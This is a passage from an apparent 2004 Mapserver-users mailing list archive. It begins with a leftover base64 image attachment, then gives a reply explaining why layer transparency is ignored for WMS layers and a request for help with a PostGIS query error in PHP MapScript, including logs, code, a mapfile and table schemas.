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
F2OaWvWd++rHAAAAAElFTkSuQmCC

------_=_NextPart_001_01C3DB9D.2DA6FD23--


From warmerdam at pobox.com  Thu Jan 15 11:59:59 2004
From: warmerdam at pobox.com (Frank Warmerdam)
Date: Thu, 15 Jan 2004 14:59:59 -0500
Subject: [Mapserver-users] Transparency and WMS
In-Reply-To: <20040115105306.57239.qmail@web80108.mail.yahoo.com>
References: <20040115105306.57239.qmail@web80108.mail.yahoo.com>
Message-ID: <4006F13F.4060802@pobox.com>

Matthew Perry wrote:
> Hello,
> 
> I've been trying to get mapserver to display a
> partially transparent shaded relief over a DRG. Both
> layers are WMS and display correctly individually. I
> have tried many combinations of image types and
> various mapfile settings but no luck. Am I
> understanding TRANSPARENCY correctly.. that it makes
> all pixels semi-transparent? Or does it make certain
> classes of pixels completely transparent? Is
> TRANSPARENCY set to work with WMS layers or just local
> images??

Matthew,

I see your problem.  You have setup your mapfile properly, but it seems
there is an "issue" internally in mapserver.  The msDrawLayer() function
is responsible for applying the layer level transparency (ie. TRANSPARENCY 50)
but for WMS, layers msDrawLayer() is not used ... instead msDrawMap() calls
msDrawWMSLayer() directly.  I am not exactly clear why it is that way, but
the result is any of the "generic" logic in msDrawLayer() is missed.

I would suggest you file a bug in bugzilla and hopefully one of the WMS
rascals will step forward to resolve the problem.  Ideally by actually
putting WMS layers through msDrawLayer() somehow.

Best regards,
-- 
---------------------------------------+--------------------------------------
I set the clouds in motion - turn up   | Frank Warmerdam, warmerdam at pobox.com
light and sound - activate the windows | http://pobox.com/~warmerdam
and watch the world go round - Rush    | Geospatial Programmer for Rent




From keon at nacse.org  Thu Jan 15 12:01:11 2004
From: keon at nacse.org (Dylan Keon)
Date: Thu, 15 Jan 2004 12:01:11 -0800
Subject: [Mapserver-users] Error when querying PostGIS layer
In-Reply-To: <40056691.9010503@nacse.org>
References: <40056691.9010503@nacse.org>
Message-ID: <4006F187.3040509@nacse.org>

I'd be really grateful if some of you postgis/postgres gurus could give 
me a hand with this (see question below) - it's got me stumped.  Jason 
Nielsen posted a similar question a little while ago.

I've already tried GRANT SELECT ON quad24k TO PUBLIC; and verified that 
the asbinary SELECT statement following 'DECLARE mycursor BINARY CURSOR 
FOR' works in psql.

TIA for any help.  I pasted some more info at the bottom of the message.

--Dylan


Dylan Keon wrote:
> I'm having trouble querying a PostGIS layer via PHP Mapscript.  The 
> layer renders fine in the app and labels get generated, etc.  But I get 
> an error when trying to query the layer.  It fails when it reaches 
> getShape() - if I comment out that line everything else works.  Also, if 
> I run this code on a shapefile version of the same layer it works fine.
> 
> I'm using MS 4.0.1, Postgres 7.4.1, PostGIS 0.8.1 on Linux.  Thanks for 
> any help.
> 
> --Dylan
> 
> ----------------------------------------------------------------------
> 
>  From the apache error log:
> 
> PHP Warning:  [MapServer Error]: msDrawMap(): Failed to draw layer named
> 'quad_index_24k'.
>  in /opt/httpd/htdocs/test.php on line 132
> PHP Warning:  [MapServer Error]: prep_DB(): Error executing POSTGIS
> DECLARE (the actual query) statement: 'DECLARE mycursor BINARY CURSOR 
> FOR SELECT 
> nf1::text,asbinary(force_collection(force_2d(the_geom)),'NDR'),OID::text 
> from quad24k WHERE the_geom && setSRID('BOX3D(311625 301705,586625 
> 577205)'::BOX3D, find_srid('','quad24k','the_geom') )' 


> 
> Postgresql reports the error ''


> 
> More Help:


> 
> Error with POSTGIS data variable. You specified '<check your .map 
> file>'.

> Standard ways of specifiying are : 

> (1) 'geometry_column from geometry_table' 

> (2) 'geometry_column from (<sub query>) as foo using unique 
> <column name> using SRID=<srid#>' 


> 
> Make sure you put in the 'using unique  <column name>' and 'using
> SRID=#' clauses in.
> 
> 

For more help, please see
> http://postgis.refractions.net/documentation.php
> 
> 

Mappostgis.c - version of June 12/2003.
> 
> in /opt/httpd/htdocs/test.php on line 132
> PHP Fatal error:  Call to a member function on a non-object in 
> /opt/httpd/htdocs/test.php on line 133
> 
> ----------------------------------------------------------------------
> 
> // simple function for testing postgis layer query
> function doQuery($map, $map_x, $map_y, $last_extent)
> {
>         $layer = $map->getLayerByName('quad_index_24k');
>         $coords = pix2geo($map, $map_x, $map_y, $last_extent);
>         $geo = preg_split("/,/", $coords);
> 
>         // create point object
>         $click_pt = ms_newPointObj();
>         $click_pt->setXY($geo[0], $geo[1]);
> 
>         // query the map at the point clicked
>         @$map->queryByPoint($click_pt, MS_SINGLE, -1);
>         $count_results = $layer->getNumResults();
> echo "count_results = $count_results
\n";
> 
>         if($count_results > 0) {
>                 $layer->open();
>                 $result = $layer->getResult(0);
> echo "
getResult:
"; print_r($result); ech "
";
>                 $resultShape = $layer->getShape(-1,$result->shapeindex);
> echo "
getShape:
"; print_r($resultShape); echo "
";
>         } else echo "No records returned";
> 
>         $click_pt->free();
>         $resultShape->free();
> }
> 
> ----------------------------------------------------------------------
> 
> LAYER
>   NAME quad_index_24k
>   TYPE POLYGON
>   CONNECTIONTYPE POSTGIS
>   CONNECTION "user=read dbname=oregon"
>   DATA "the_geom from quad24k"
>   STATUS ON
>   MAXSCALE 2400000
>   LABELMAXSCALE 600000
>   LABELMINSCALE 20000
>   TEMPLATE "null"
>   CLASS
>     OUTLINECOLOR 0 25 140
>     COLOR -1 -1 -1
>     COLOR 190 230 190
>     TEXT ([name] [nf1])
>     LABEL
>       WRAP " "
>       POSITION CC
>       SIZE SMALL
>       BUFFER 50
>       FORCE TRUE
>       MINFEATURESIZE 35
>     END
>   END
> END
> 
> ----------------------------------------------------------------------


Here are some additional data:


oregon=# select * from geometry_columns where f_table_name = 'quad24k';
  f_table_catalog | f_table_schema | f_table_name | f_geometry_column | 
coord_dimension | srid |     type     | attrelid | varattnum | stats
-----------------+----------------+--------------+-------------------+-----------------+------+--------------+----------+-----------+-------
                  | public         | quad24k      | the_geom          | 
               2 |   -1 | MULTIPOLYGON |    17407 |
19 |
(1 row)


oregon-# \d quad24k
             Table "public.quad24k"
   Column   |         Type         | Modifiers
-----------+----------------------+-----------
  gid       | integer              |
  area      | double precision     |
  perimeter | double precision     |
  id        | bigint               |
  name      | character varying    |
  states    | character varying    |
  latlon    | character varying    |
  usgscode  | character varying    |
  scale     | character varying    |
  ohiocode  | character varying    |
  st_s      | integer              |
  st_w      | integer              |
  the_geom  | geometry             |
  usfscode  | character varying(7) |
  nf1       | character varying(3) |
  nf2       | character varying(3) |
  nf3       | character varying(3) |
  geoloc    | character varying(4) |
Indexes:
     "quad24k_gist" gist (the_geom)
     "quad24k_oid" btree (oid)




From warmerdam at pobox.com  Thu Jan 15 12:08:09 2004
